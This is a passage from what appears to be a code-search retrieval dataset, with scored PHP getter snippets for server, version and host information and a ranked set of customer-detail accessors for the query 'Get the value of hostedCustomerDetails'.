$this->_page->getLabel() ? $this->_page->getLabel() : $this->_page->getVersionId();\n\t\tif (!$result) {\n\t\t\t$result = df_h()->cms()->__('N/A');\n\t\t}\n\t\treturn $result;\n\t}", "title": "" }, { "docid": "dc3c403b3a288a4954984dcbaf79b562", "score": "0.5610408", "text": "public function getSite(): string\n {\n return $this->_site;\n }", "title": "" }, { "docid": "07c812e5e2fddc917388f9e8649524aa", "score": "0.56014216", "text": "function sql_server_info()\n\t{\n\t\tif ($this->service_handle !== false && function_exists('ibase_server_info'))\n\t\t{\n\t\t\treturn @ibase_server_info($this->service_handle, IBASE_SVC_SERVER_VERSION);\n\t\t}\n\n\t\treturn 'Firebird/Interbase';\n\t}", "title": "" }, { "docid": "fd527e6d75fdb475671449227d597d8b", "score": "0.55944735", "text": "public function version() : string {\n return $this->_version;\n }", "title": "" }, { "docid": "4736e5450d70d9705373a1e8691bcd64", "score": "0.55836797", "text": "public function getConfigKey()\n {\n return 'localwebserver';\n }", "title": "" }, { "docid": "d5aade80ab03c64310347329d9b1730c", "score": "0.55782884", "text": "public function serverInfo()\n\t{\n\t\t$arr['dialect'] = $this->dialect;\n\t\tswitch($arr['dialect']) {\n\t\t\tcase '':\n\t\t\tcase '1':\n\t\t\t\t$s = 'Firebird Dialect 1';\n\t\t\t\tbreak;\n\t\t\tcase '2':\n\t\t\t\t$s = 'Firebird Dialect 2';\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\tcase '3':\n\t\t\t\t$s = 'Firebird Dialect 3';\n\t\t\t\tbreak;\n\t\t}\n\t\t$arr['version'] = ADOConnection::_findvers($s);\n\t\t$arr['description'] = $s;\n\t\treturn $arr;\n\t}", "title": "" }, { "docid": "c8fa100f01c7cdf036426a8cd1747665", "score": "0.55751646", "text": "public function getServerId(): string;", "title": "" }, { "docid": "6e0163fc6e09ccb623e4f18b052a9676", "score": "0.55672383", "text": "public function getServerInfo():string;", "title": "" }, { "docid": "6eab721709acfbdb54ae44959987adb2", "score": "0.55605865", "text": "public function get_info()\n\t\t{\n\t\t\treturn array(\n\t\t\t\t'name'=>'Sage Pay Server',\n\t\t\t\t'custom_payment_form'=>'backend_payment_form.htm',\n\t\t\t\t'description'=>'UK payment gateway - Sage Pay. Advanced \"Server\" integration method with tokenization.'\n\t\t\t);\n\t\t}", "title": "" }, { "docid": "684283044d41127ead437b71173c890a", "score": "0.55554885", "text": "public static function getVersion(): string\n\t{\n\t\treturn static::$version;\n\t}", "title": "" }, { "docid": "4a125b3bca572d4a47d41d7e34838b5c", "score": "0.555521", "text": "public function getAppVersion(): string\n {\n return $this->appVersion ?? 'UNKNOWN';\n }", "title": "" }, { "docid": "41569b04851e0ed562ee2ab39a54f80a", "score": "0.55470943", "text": "public function __toString() {\n return \"<strong>Browser Name:</strong>{$this->getBrowser()}<br/>\\n\" .\n \"<strong>Browser Version:</strong>{$this->getVersion()}<br/>\\n\" .\n \"<strong>Browser User Agent String:</strong>{$this->getUserAgent()}<br/>\\n\" .\n \"<strong>Platform:</strong>{$this->getPlatform()}<br/>\";\n }", "title": "" }, { "docid": "30fba4901662a473b005a4abdf3f8c27", "score": "0.5539467", "text": "protected static function serverProtocol(): string\n {\n return static::$serverProtocol;\n }", "title": "" }, { "docid": "ddebbf526e76ff50e4a7733b132f463a", "score": "0.5539119", "text": "public static function generateServerSpecificHash()\n {\n return (isset($_SERVER['SERVER_NAME']) && !empty($_SERVER['SERVER_NAME'])) ? md5($_SERVER['SERVER_NAME']) : md5(pathinfo(__FILE__, PATHINFO_FILENAME));\n }", "title": "" }, { "docid": "3f75bf09b1efba6f507c77c2f668cabb", "score": "0.55369955", "text": "private function getGuestTplPage(): string\n {\n if (isDebug() && $this->httpRequest->getExists('force')) {\n $sPage = $this->getGuestForcedPage();\n } elseif ($this->bIsMobile) {\n // 'index.guest.inc.tpl' is not responsive enough for very small screen resolutions, so set to 'index.guest_splash.inc.tpl' by default\n $sPage = static::GUEST_SPLASH_FILE;\n } else {\n // Check if \"Splash Homepage\" has been enabled or not from admin general settings\n $bIsSplashPage = (bool)DbConfig::getSetting('splashPage');\n\n $sPage = $bIsSplashPage ? static::GUEST_SPLASH_FILE : static::GUEST_FILE;\n }\n\n return $sPage;\n }", "title": "" }, { "docid": "7ca10f20ebce313ed5569242aa568aed", "score": "0.5533445", "text": "public function getInfoString(): string\n {\n\n $out = '';\n\n if ( isset( $this->_attributes[ 'db' ] ) )\n {\n $out = 'db=\"' . $this->_attributes[ 'db' ] . '\"';\n }\n\n return $out;\n\n }", "title": "" }, { "docid": "57d1ff84ba67a2ecd8e2b3e3a7961b18", "score": "0.5531266", "text": "function version()\n\t{\n\t\treturn mysqli_get_server_info( $this->ident_link );\n\t}", "title": "" }, { "docid": "67e4bb91622c71fb46d104613d4dbdbe", "score": "0.55298996", "text": "public function getSiteName() {\n return $this->_connector->getPlatformData(static::CONFIG_KEY_SITE_NAME);\n }", "title": "" }, { "docid": "bda74b5a7afb56621de70d3293980262", "score": "0.55238295", "text": "public function getPinfo()\n {\n return __('Shop - ', 'dotpay-payment-gateway') . $this->realHostName();\n }", "title": "" }, { "docid": "695b5cae9aa0d25ca74a9a114daa17ce", "score": "0.55099356", "text": "private static function ts_get_server_info() {\n\t\tglobal $wpdb;\n\t\t$server_data = array();\n\n\t\tif ( isset( $_SERVER[ 'SERVER_SOFTWARE' ] ) && ! empty( $_SERVER[ 'SERVER_SOFTWARE' ] ) ) {\n\t\t\t$server_data[ 'software' ] = $_SERVER[ 'SERVER_SOFTWARE' ];\n\t\t}\n\n\t\tif ( function_exists( 'phpversion' ) ) {\n\t\t\t$server_data[ 'php_version' ] = phpversion();\n\t\t}\n\n\t\tif ( function_exists( 'ini_get' ) ) {\n\t\t\t$server_data[ 'php_post_max_size' ] = size_format( wc_let_to_num( ini_get( 'post_max_size' ) ) );\n\t\t\t$server_data[ 'php_time_limt' ] = ini_get( 'max_execution_time' );\n\t\t\t$server_data[ 'php_max_input_vars' ] = ini_get( 'max_input_vars' );\n\t\t\t$server_data[ 'php_suhosin' ] = extension_loaded( 'suhosin' ) ? 'Yes' : 'No';\n\t\t}\n\n\t\t$server_data[ 'mysql_version' ] = $wpdb->db_version();\n\n\t\t$server_data[ 'php_max_upload_size' ] = size_format( wp_max_upload_size() );\n\t\t$server_data[ 'php_default_timezone' ] = date_default_timezone_get();\n\t\t$server_data[ 'php_soap' ] = class_exists( 'SoapClient' ) ? 'Yes' : 'No';\n\t\t$server_data[ 'php_fsockopen' ] = function_exists( 'fsockopen' ) ? 'Yes' : 'No';\n\t\t$server_data[ 'php_curl' ] = function_exists( 'curl_init' ) ? 'Yes' : 'No';\n\n\t\treturn $server_data;\n\t}", "title": "" }, { "docid": "27a56074a02e457a9c4fd09a7475a421", "score": "0.55064017", "text": "public static function getLongVersion()\n {\n return sprintf('Laravel-admin <comment>version</comment> <info>%s</info>', self::VERSION);\n }", "title": "" }, { "docid": "9963b7e64d1dbc4f34675936a252ec4e", "score": "0.5501095", "text": "protected static function template_vite()\n {\n return\n '<html lang=\"en\">'\n . '<head>'\n . '<meta charset=\"UTF-8\" />'\n . '<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />'\n . '${head}'\n . '</head>'\n . '<body>'\n . '<div id=\"${app_id}\"></div>'\n . '${body}'\n . '<script type=\"module\" src=\"${base_uri}/${entry}\"></script>'\n . '</body>'\n . '</html>';\n }", "title": "" }, { "docid": "3500e103dc369ec20b0ed4a6bfb80455", "score": "0.5495052", "text": "private function getDeveloperFooter() {\n return (\\Cathedral\\Builder\\Version::DEVELOPMENT) ? \"\\nDevelopment Mode\" : '';\n }", "title": "" }, { "docid": "801614a75437411407fd4483435a763a", "score": "0.54824775", "text": "public function getHttpVersion(): string\n {\n return $this->httpVersion;\n }", "title": "" }, { "docid": "2a4ccce192c0ae22cd6896093d6e1b24", "score": "0.5473197", "text": "public function showHost(){\n\t\t\techo Database::HOST;\n\t\t}", "title": "" }, { "docid": "fdd0443ee9c0754695ff1c646a10f943", "score": "0.54713124", "text": "public static function hostCompleto() {\n return strtolower(\n preg_replace(\n '~\\/[0-9\\.]+$~',\n '',\n filter_var($_SERVER['SERVER_PROTOCOL'])\n )\n ) . '://' . filter_var($_SERVER['HTTP_HOST']) . static::identificarBaseHTML();\n }", "title": "" }, { "docid": "b58b1e85d8d2966c808977fc4231e832", "score": "0.5465314", "text": "public static function getHostName(){\n\t\t$hostConfig = ConfigManager::getConfig(\"Host\")->AuxConfig;\n\t\tif(empty($_SERVER['HTTP_HOST'])){\n\t\t\t$_SERVER['HTTP_HOST'] = $hostConfig->cgiHost;\n\t\t}\n\t\t\n\t\tif(SiteMode::get()==SiteMode::MODE_DEVELOPMENT and static::getDevHostName() !==false ){\n\t\t\t$host_name = static::getDevHostName();\n\t\t}\n\t\telse{\n\t\t\t$host_name = static::noWWW($_SERVER['HTTP_HOST']);\n\t\t}\t\t\n\t\treturn $host_name;\t\t\n\t}", "title": "" }, { "docid": "a0a49399e19c4ecf1f6065812fac39b8", "score": "0.5462779", "text": "public function getVersion()\n {\n return isset($this->version) ? $this->version : '';\n }", "title": "" }, { "docid": "b0cc8ae0362657fe0b322ef26fc73655", "score": "0.54613554", "text": "public function getPageTitle(): string\n {\n return $this->name.' - '.config('app.name', '');\n }", "title": "" }, { "docid": "b450c2154193f446da305f3bfff36f49", "score": "0.5459727", "text": "abstract public function getServerSoftware(): string;", "title": "" }, { "docid": "7b2f5e19a75f045aed1b5c63ceb20c33", "score": "0.5451236", "text": "public static function getAppVersion()\n {\n return request()->header(APP_VERSION_HEADER) ?? '0.0.0';\n }", "title": "" }, { "docid": "2f0197a7a65c65aafd0f6786a560e0f4", "score": "0.54498136", "text": "public static function getVersion() : string{\n\t\treturn FW_Version::$_version;\n\t}", "title": "" }, { "docid": "c878a8400bf498f1ce9f96bd49fcb0ed", "score": "0.544915", "text": "public function getServerAddress()\n\t{\n\t\treturn $this->string('SERVER_ADDR');\n\t}", "title": "" }, { "docid": "a7dccd5cc1ae5dbb85933fc477d78bc8", "score": "0.54392433", "text": "public function getPageInfo()\n {\n \ttry\n \t{\n \t\t// get basic info + host prefix\n\t \t$ret = Mage::helper('shoptimally_core/pageInfo')->getBasicInfo();\n\t \t$ret[\"host_prefix\"] = Mage::helper('shoptimally_core/remoteConfig')->get(\"host_urls_prefix\");\n\t \t\n\t \t// stringify and return result\n\t \treturn Mage::helper('core')->jsonEncode($ret);\n \t}\n \tcatch (Exception $e)\n \t{\n \t\treturn \"null\";\n \t}\n }", "title": "" }, { "docid": "511d2e63d6d6f8b40270a65323865bc5", "score": "0.54225564", "text": "public static function getServerURL () : string {\n $scheme = self::getScheme();\n $name = self::getServerName();\n $port = self::getPort();\n\n // If we forward for a proxy, trust the scheme instead of standard :80\n $fixToHTTPS = $port === 80 && $scheme === \"https\";\n\n if ($port === 443 || $fixToHTTPS) {\n return \"https://$name\";\n }\n\n if ($port === 80) {\n return \"http://$name\";\n }\n\n return \"$scheme://$name:$port\";\n }", "title": "" }, { "docid": "064e96ac1dd8d9a905a8737f8c980184", "score": "0.541829", "text": "public function version() {\n\t\t$output = $this->get('/version');\n\t\t\n\treturn $output;\n\t}", "title": "" }, { "docid": "911126ac91a96a889a2ca7c68b034846", "score": "0.54169124", "text": "public static function getShortVersion() {\r\n\t\treturn self::$RELEASE .'.'. self::$DEV_LEVEL;\r\n\t}", "title": "" }, { "docid": "5e4aa9cafe56de5131c9eb8df62a2e8e", "score": "0.5416536", "text": "public function getString(): string\n {\n $userAgent = $this->applicationName . '/' . $this->applicationVersion;\n $userAgent .= ' (Language=PHP/' . phpversion();\n $userAgent .= '; Platform=' . php_uname('s') . '/' . php_uname('m') . '/' . php_uname('r');\n $userAgent .= '; Packagist=maxs94/amazon_mws)';\n return $userAgent; \n }", "title": "" }, { "docid": "0cf1002bc086bfb37a1ce10ebc6e9e97", "score": "0.5409905", "text": "public function version() : string\n {\n if ($this->_version === null) {\n $this->connect();\n $this->_version = (string) $this->_connection->getAttribute(PDO::ATTR_SERVER_VERSION);\n if (\\strpos($this->_version, 'MariaDB') !== \\false) {\n $this->serverType = static::SERVER_TYPE_MARIADB;\n \\preg_match('/^(?:5\\\\.5\\\\.5-)?(\\\\d+\\\\.\\\\d+\\\\.\\\\d+.*-MariaDB[^:]*)/', $this->_version, $matches);\n $this->_version = $matches[1];\n }\n }\n return $this->_version;\n }", "title": "" }, { "docid": "09f27998fa3f7efe6c078f27a1b8f4eb", "score": "0.540946", "text": "private function getRESTHost()\n\t{\n\t\t$sandbox = $this->params->get('sandbox', 0);\n\n\t\tif ($sandbox)\n\t\t{\n\t\t\treturn 'demo.vivapayments.com';\n\t\t}\n\t\telse\n\t\t{\n\t\t\treturn 'www.vivapayments.com';\n\t\t}\n\t}", "title": "" }, { "docid": "589ace268c6f42e45fc08a269f641c79", "score": "0.54078186", "text": "public function getConsoleVersion(): string\n\t{\n\t\treturn parent::getConsoleVersion().\n\t\t\tsprintf(' (env: <comment>%s</>, debug: <comment>%s</>) [<note>%s</>]',\n\t\t\t\tenv('APP_ENV'), env('APP_DEBUG') ? 'true' : 'false', PHP_OS\n\t\t\t);\n\t}", "title": "" }, { "docid": "f28957a2451041614b219b5b2fe45c1b", "score": "0.54031444", "text": "function get_server_url($noscript=false)\n\t{\n\t\t$server_name = sys_string::strtolower(sys_string::htmlspecialchars($this->io->read('HTTP_HOST', '', '_SERVER')));\n\t\t$script_path = sys_string::strtolower(sys_string::htmlspecialchars($this->io->read('SCRIPT_NAME', '', '_SERVER')));\n\t\tif ( $noscript )\n\t\t{\n\t\t\t$script_path = preg_replace('#/+#is', '/', preg_replace('#' . preg_quote($this->requester . $this->ext, '#') . '$#is', '', $script_path));\n\t\t}\n\t\t$server_protocol = preg_match('#https#i', sys_string::htmlspecialchars($this->io->read('SERVER_PROTOCOL', '', '_SERVER'))) ? 'https://' : 'http://';\n\t\tif ( ($server_port = $this->io->read('SERVER_PORT', 0, '_SERVER')) )\n\t\t{\n\t\t\t$server_name = preg_replace('#' . preg_quote(':' . $server_port, '#') . '^#is', '', $server_name);\n\t\t}\n\t\t$server_port = $server_port && ($server_port != 80) ? ':' . $server_port : '';\n\t\treturn $server_protocol . $server_name . $server_port . $script_path;\n\t}", "title": "" }, { "docid": "61de46971b7a2b6abdf232a7b5be18e3", "score": "0.54004276", "text": "function wc_pip_get_site_name() {\n\n\treturn Framework\\SV_WC_Helper::get_site_name();\n}", "title": "" }, { "docid": "e9e597b6841ce3d3ee6de0a4dfa9399b", "score": "0.54003054", "text": "final public function get_version() {\n $version = get_config($this->get_subtype() . '_' . $this->get_type(), 'version');\n if ($version) {\n return $version;\n } else {\n return '';\n }\n }", "title": "" }, { "docid": "6a2627e5723d01766e56923d378f98a5", "score": "0.5399105", "text": "public function getSiteName() {\n return $this->settings['site_name'];\n }", "title": "" } ]
00470986df7a742961c9082bb79df15b
Get the value of hostedCustomerDetails.
[ { "docid": "1dbb0562928b1e2a00b43eb2c5096062", "score": "0.8434475", "text": "public function getHostedCustomerDetails()\n {\n return $this->hostedCustomerDetails;\n }", "title": "" } ]
[ { "docid": "2e9cfee7f75bd043689151d85c69f28c", "score": "0.6476881", "text": "protected function getCustomerDetails()\n {\n $card = $this->getCard();\n return substr(implode(\",\", array_filter(array(\n $card->getName(),\n $card->getCompany(),\n $card->getEmail(),\n $card->getPhone(),\n $card->getAddress1(),\n $card->getAddress2(),\n $card->getCity(),\n $card->getState(),\n $card->getCountry()\n ))), 0, 255);\n }", "title": "" }, { "docid": "d9e27412dee5a8f68c7bb9088033a3be", "score": "0.6438186", "text": "public function getCustomerDetails(): ?CustomerDetails\n {\n return $this->customerDetails;\n }", "title": "" }, { "docid": "e5b59f2bd578a7087767ae8fce6537a9", "score": "0.62790143", "text": "public function setHostedCustomerDetails($hostedCustomerDetails)\n {\n $this->hostedCustomerDetails = $hostedCustomerDetails;\n\n return $this;\n }", "title": "" }, { "docid": "725925fcae568e4a3be9a0231c5b60bb", "score": "0.6161831", "text": "public function getCustomer() {\n\t\treturn $this->z->custauth->customer;\n\t}", "title": "" }, { "docid": "6b336ee9ba7d73aea4841e25163d0628", "score": "0.61338365", "text": "public function getContactDetails()\n {\n return $this->contact_details;\n }", "title": "" }, { "docid": "e1693e750532ba57af20ae51e91e3e97", "score": "0.6018789", "text": "public function get_customer()\n {\n return $this->Customer;\n }", "title": "" }, { "docid": "eb42fe12276ba9416443a2656738a4cf", "score": "0.6001186", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "eb42fe12276ba9416443a2656738a4cf", "score": "0.6001186", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "eb42fe12276ba9416443a2656738a4cf", "score": "0.6001186", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "eb42fe12276ba9416443a2656738a4cf", "score": "0.6001186", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "eb42fe12276ba9416443a2656738a4cf", "score": "0.6001186", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "67df35c82ce366e2f823773c7751f666", "score": "0.59835404", "text": "public function getCustomer() {\n return $this->customer;\n }", "title": "" }, { "docid": "ead4ce699c34f67ee8dfa64c25df07dd", "score": "0.59511715", "text": "public function getCustomer()\n {\n return $this->customer;\n }", "title": "" }, { "docid": "bd2ca0b73c49c9927e4b4544e159fa2f", "score": "0.5849701", "text": "public function getStoredDetailsToken() : ?string\n {\n return $this->data['hosteddataid'] ?? null;\n }", "title": "" }, { "docid": "b054b41ce4425f266f8b7d27a4881625", "score": "0.5848458", "text": "public function getBillingCity()\n {\n return isset($this->BillingCity) ? $this->BillingCity : null;\n }", "title": "" }, { "docid": "4fe07f322ffb30e2faf5603654cade52", "score": "0.5838523", "text": "public function getCustomer()\n {\n return $this->customerSession->getCustomer();\n }", "title": "" }, { "docid": "15c88a11cd036b69ac5a986a6240f154", "score": "0.5836493", "text": "public function getCustomer()\n\t{\n\t\tif (isset($this->parameters['customer']))\n\t\t{\n\t\t\treturn $this->parameters['customer'];\n\t\t}\n\n\t\treturn null;\n\t}", "title": "" }, { "docid": "492bb8165304faa6f16a2ea25cdeba25", "score": "0.58250695", "text": "public function getCustomer() {\n return Customer::retrieve($this->source->__get('data')['object']['customer']);\n }", "title": "" }, { "docid": "17f95d029ba46a9b598a9b87d59c3dd5", "score": "0.5807002", "text": "public function getCustomer() {\n return Customer::retrieve($this->invoice->__get('data')['object']['customer']);\n }", "title": "" }, { "docid": "34c778a533c1616a86d2e7d852aed883", "score": "0.58044606", "text": "public function getCustomer(): ?string\n {\n return $this->customer;\n }", "title": "" }, { "docid": "34c778a533c1616a86d2e7d852aed883", "score": "0.58044606", "text": "public function getCustomer(): ?string\n {\n return $this->customer;\n }", "title": "" }, { "docid": "34c778a533c1616a86d2e7d852aed883", "score": "0.58044606", "text": "public function getCustomer(): ?string\n {\n return $this->customer;\n }", "title": "" }, { "docid": "6e29afdefba91c8c8a374ac683715d08", "score": "0.57970315", "text": "public function getCustomer() {\n return $this->getQuote()->getCustomer();\n }", "title": "" }, { "docid": "1f870d015d2690fff9f0d369657cae9c", "score": "0.57664055", "text": "private function getCustomerData(){\n return $this->_customerModel->load ($this->_coreRegistry->registry('airhotels_customerprofile')->getCustomerId());\n }", "title": "" }, { "docid": "cf168387407a188b5a6c7e95a2579824", "score": "0.5748851", "text": "public function getCustomer()\n {\n return \"/V1/attributeMetadata/customer\";\n }", "title": "" }, { "docid": "35bf5d600a46de7544d2243a0e5b7127", "score": "0.5680399", "text": "public function getCustomerCode()\n {\n return $this->customer_code;\n }", "title": "" }, { "docid": "efed955d2e881c7de94dbd506b16cd03", "score": "0.5671692", "text": "public function getCustomer() { \n return $this->_customerSession->getCustomer()->getId();\n }", "title": "" }, { "docid": "1064b5402b15dd762865d5d2414292e0", "score": "0.56500417", "text": "public function getCustomerDetails(): ?SupermodelIoLogisticsExpressUploadInvoiceDataRequestSIDCustomerDetails\n {\n return $this->customerDetails;\n }", "title": "" }, { "docid": "930b0520a6d56478df7144608630494f", "score": "0.5633212", "text": "public function getPPeCustomerDetails()\n {\n $this->logger->addDebug(__METHOD__ . '|1|' . var_export($this->_getRequest()->getParams(), true));\n if (($customerId = $this->_getRequest()->getParam('customer_id')) && ((int)$customerId > 0)) {\n $this->logger->addDebug(__METHOD__ . '|5|');\n if (!isset($this->staticCache['getPPeCustomerDetails'])\n && ($customer = $this->customerRepository->getById((int)$customerId))\n ) {\n $this->logger->addDebug(__METHOD__ . '|15|');\n $billingAddress = null;\n if ($addresses = $customer->getAddresses()) {\n foreach ($addresses as $address) {\n if ($address->isDefaultBilling()) {\n $billingAddress = $address;\n break;\n }\n }\n }\n $this->logger->addDebug(var_export([$customer->getEmail()], true));\n $this->staticCache['getPPeCustomerDetails'] = [\n 'email' => $customer->getEmail(),\n 'firstName' => $billingAddress ? $billingAddress->getFirstName() : '',\n 'lastName' => $billingAddress ? $billingAddress->getLastName() : '',\n 'middleName' => $billingAddress ? $billingAddress->getMiddlename() : '',\n ];\n }\n }\n\n if ($order = $this->_getRequest()->getParam('order')) {\n if (isset($order['billing_address'])) {\n $this->logger->addDebug(__METHOD__ . '|30|');\n $this->staticCache['getPPeCustomerDetails'] = [\n 'email' => !empty($this->staticCache['getPPeCustomerDetails']['email']) ?\n $this->staticCache['getPPeCustomerDetails']['email'] : '',\n 'firstName' => $order['billing_address']['firstname'],\n 'lastName' => $order['billing_address']['lastname'],\n 'middleName' => $order['billing_address']['middlename'],\n ];\n }\n }\n\n if (($payment = $this->_getRequest()->getParam('payment'))\n && ($payment['method'] == 'buckaroo_magento2_payperemail')\n ) {\n $this->logger->addDebug(__METHOD__ . '|40|');\n $this->staticCache['getPPeCustomerDetails'] = [\n 'email' => $payment['customer_email'],\n 'firstName' => $payment['customer_billingFirstName'],\n 'lastName' => $payment['customer_billingLastName'],\n 'middleName' => $payment['customer_billingMiddleName'],\n ];\n }\n\n return $this->staticCache['getPPeCustomerDetails'] ?? null;\n }", "title": "" }, { "docid": "db06f36f82cf6a9c3a431a89c39e5099", "score": "0.55962116", "text": "public function getCustomerID()\n {\n return $this->customerID;\n }", "title": "" }, { "docid": "f6cdc866f5a3bdde0282d5a14584119f", "score": "0.55849427", "text": "public function getCustomer()\n {\n if(!$this->hasData('customer')){\n $order = $this->getParentBlock()->getOrder();\n if($order){\n $customer = Mage::getModel('customer/customer')->load($order->getCustomerId());\n $this->setData('customer', $customer);\n }\n }\n return $this->getData('customer');\n }", "title": "" }, { "docid": "9c93647bcc779abda7a3bee74e4aef6d", "score": "0.5570663", "text": "public function viewCustomer()\r\n\t{\r\n\t\ttry \r\n\t\t{\r\n\t\t\t$customerAccountService = $this->soapservices_model->getCustomerAccountService();\r\n\r\n\t\t\t$methodName = \"GetCustomerAccount\";\r\n\t\t\t\r\n\t\t\t$user = $this->session->userdata('customer');\r\n\t\t\t$params = array(\r\n\t\t\t\t\"queryParam\" => array(\r\n\t\t\t\t\t\"CustomerNumber\" => $user['CustomerNumber'],\r\n\t\t\t\t\t\"Email\" => $user['Email']\t\r\n\t\t\t\t)\r\n\t\t\t);\r\n\r\n\t\t $customerDetails = (array)$customerAccountService->__soapCall($methodName, array($params));\r\n\t\t\t\r\n\t\t\treturn $customerDetails;\r\n\r\n\t\t} catch(Exception $e) {\r\n return log_message('error', \"Error in Customer view:\".$e->getMessage());\r\n } \r\n\t}", "title": "" }, { "docid": "115e475040ed9dca093e4e7e74344411", "score": "0.5558579", "text": "public function getContactDetailsId()\n {\n return $this->contactDetailsId;\n }", "title": "" }, { "docid": "3976b351ffad1d92d1f72601886db0dd", "score": "0.55442643", "text": "public function getCustomerId(){\n return $this->customerId;\n }", "title": "" }, { "docid": "31fb60d26a7da008ad6ef399c9610dc6", "score": "0.55168253", "text": "public function customerCard()\n {\n $address = $this->customer->address;\n\n $card = $customer->name .'<br />'.\n $address->address_1 .'<br />'.\n $address->city . ' - ' . $address->state->name.' <a href=\"javascript:void(0)\" class=\"btn btn-grey btn-xs disabled\">'. $$address->phone .'</a>';\n\n return $card;\n }", "title": "" }, { "docid": "c9ba6f6a3ce383065ef98d865bf69ee8", "score": "0.55020756", "text": "public function getDetails()\n {\n return $this->origin->getData();\n }", "title": "" }, { "docid": "72c4b8c5537d77ac532cd241b8d86d09", "score": "0.54992884", "text": "public function getBillingCity()\n {\n\n return $this->billing_city;\n }", "title": "" }, { "docid": "378f6e99262d959fe37d56c3bba50083", "score": "0.5474564", "text": "public function getBillingCity()\n {\n return $this->billingCity;\n }", "title": "" }, { "docid": "82c619c13fed370faa5adf410c4bd072", "score": "0.5434903", "text": "public function getCustomerReference()\n {\n return $this->customerReference;\n }", "title": "" }, { "docid": "a53e9dd2ac9f062dae89b627aaa26089", "score": "0.54296553", "text": "public function getCustomerId()\n {\n return $this->customer_id;\n }", "title": "" }, { "docid": "a53e9dd2ac9f062dae89b627aaa26089", "score": "0.54296553", "text": "public function getCustomerId()\n {\n return $this->customer_id;\n }", "title": "" }, { "docid": "a53e9dd2ac9f062dae89b627aaa26089", "score": "0.54296553", "text": "public function getCustomerId()\n {\n return $this->customer_id;\n }", "title": "" }, { "docid": "a099a9581e2c80b39575555b88c22f57", "score": "0.5409238", "text": "public function getCustomerNum(): ?string\n {\n return isset($this->CustomerNum) ? $this->CustomerNum : null;\n }", "title": "" }, { "docid": "bbfe5ab2a0f49f09bcff1e06e62d484b", "score": "0.54059356", "text": "public function getCustId(){\n return $this->custid;\n }", "title": "" }, { "docid": "50f3ba06e6d9c0f1316b989c14155186", "score": "0.53996134", "text": "public function getCustomer()\n {\n return $this->customer instanceof CustomerReferenceBuilder ? $this->customer->build() : $this->customer;\n }", "title": "" }, { "docid": "ef44e93675ebf818d064a5324e6dc83c", "score": "0.5343268", "text": "public function getCustomerId(): ?string\n {\n return $this->customerId;\n }", "title": "" }, { "docid": "ef44e93675ebf818d064a5324e6dc83c", "score": "0.5343268", "text": "public function getCustomerId(): ?string\n {\n return $this->customerId;\n }", "title": "" }, { "docid": "80f6219517d09cd63c8f4ddca18607c6", "score": "0.5332491", "text": "public function getCustomerId()\n {\n return $this->getParameter(\"customerId\");\n }", "title": "" }, { "docid": "221895abf5ea7eb81fa9989e7b846ced", "score": "0.5324996", "text": "public function customer()\n {\n // If the user has already been cached, return it.\n if(isset($this->_customer))\n {\n return $this->_customer;\n }\n \n $this->_customer = null;\n \n // Is the required session data available\n if(Session::get('customer_id') == null\n || Session::get('customer_email') == null)\n {\n return null;\n }\n \n // Grab the customer account\n $customer_id = Session::get('customer_id');\n //$customer_email = Session::get('customer_email');\n $customer_token = Session::get('customer_token');\n $customer = Customer::find($customer_id); \n if(empty($customer))\n {\n return null;\n }\n \n // Ensure customer_token is still equivalent to md5 of the customer_id and password\n if(sha1($customer_id . $customer->password) !== $customer_token)\n {\n return null;\n }\n \n $this->_customer = $customer;\n \n return $this->_customer;\n }", "title": "" }, { "docid": "e494c509b723e1e455f25fba8d1b863c", "score": "0.5324532", "text": "public function getCustomerCustom()\n {\n return \"/V1/attributeMetadata/customer/custom\";\n }", "title": "" }, { "docid": "f320096aa1699b6f976f3af5947cec8d", "score": "0.53117293", "text": "public function getGuestDetails()\n {\n return $this->isAGuest() ? $this->cookieData : null;\n }", "title": "" }, { "docid": "be8bdf339bd1d6fac5c62c236a8a9632", "score": "0.53087354", "text": "public function getCustomer(): ?Customer\n\t{\n\t\treturn $this->prontoMobile->getCustomer();\n\t}", "title": "" }, { "docid": "4234873f8629c6871aa7b6c70f5f68ea", "score": "0.5300577", "text": "public function getCustomerAddress()\n {\n return \"/V1/attributeMetadata/customerAddress\";\n }", "title": "" }, { "docid": "3c412b2f336a0a95b8f92ad181129c35", "score": "0.53005403", "text": "public function getCustomerFields() {\n return $this->customerFields;\n }", "title": "" }, { "docid": "70f246d77005c1d8f75538a4f3b99c3b", "score": "0.52804965", "text": "public function getCustomerKey()\n {\n return $this->customerKey;\n }", "title": "" }, { "docid": "cae3ecdb6fea7f021ded7372fe5ebfcf", "score": "0.5278616", "text": "public function getCustomer()\n {\n if (empty($this->_customer)) {\n $this->_customer = Mage::getSingleton('customer/session')->getCustomer();\n }\n return $this->_customer;\n }", "title": "" }, { "docid": "e2345ff277efef7bf04b74f94081c457", "score": "0.527638", "text": "public function getCustomerId()\n\t{\n\t\treturn $this->customerId;\n\t}", "title": "" }, { "docid": "e4bc3f4083ab2795d3b6813fa7c0320c", "score": "0.5258841", "text": "public function getCashDetails(): ?CashPaymentDetails\n {\n return $this->cashDetails;\n }", "title": "" }, { "docid": "3cdb67617b9c08453b00c30626a4ce1a", "score": "0.52478784", "text": "public function getCustomerId()\n\t{\n\t\treturn $this->_customerId;\n\t}", "title": "" }, { "docid": "4a598b8bd0612005402f1734d18476a5", "score": "0.5246449", "text": "public function getCustomerNumber();", "title": "" }, { "docid": "ed43ba8c56a7e9faa14b0db7071181bf", "score": "0.5196794", "text": "public function getCustomer(): ?\\SengentoBV\\CdiscountMarketplaceSdk\\Structs\\CdiscountCustomer\n {\n return isset($this->Customer) ? $this->Customer : null;\n }", "title": "" }, { "docid": "906b56c3d6b77f55bc0d4b302e36de32", "score": "0.5196792", "text": "public function getCustomerID()\n {\n $customerid = Connection::get()->getAPISession()->userInfo()['login'];\n return $customerid; \n }", "title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", "title": "" }, { "docid": "c3ce3c98bbcb5204e0789022ef10c92c", "score": "0.5194839", "text": "public function getDetails()\n {\n return $this->details;\n }", 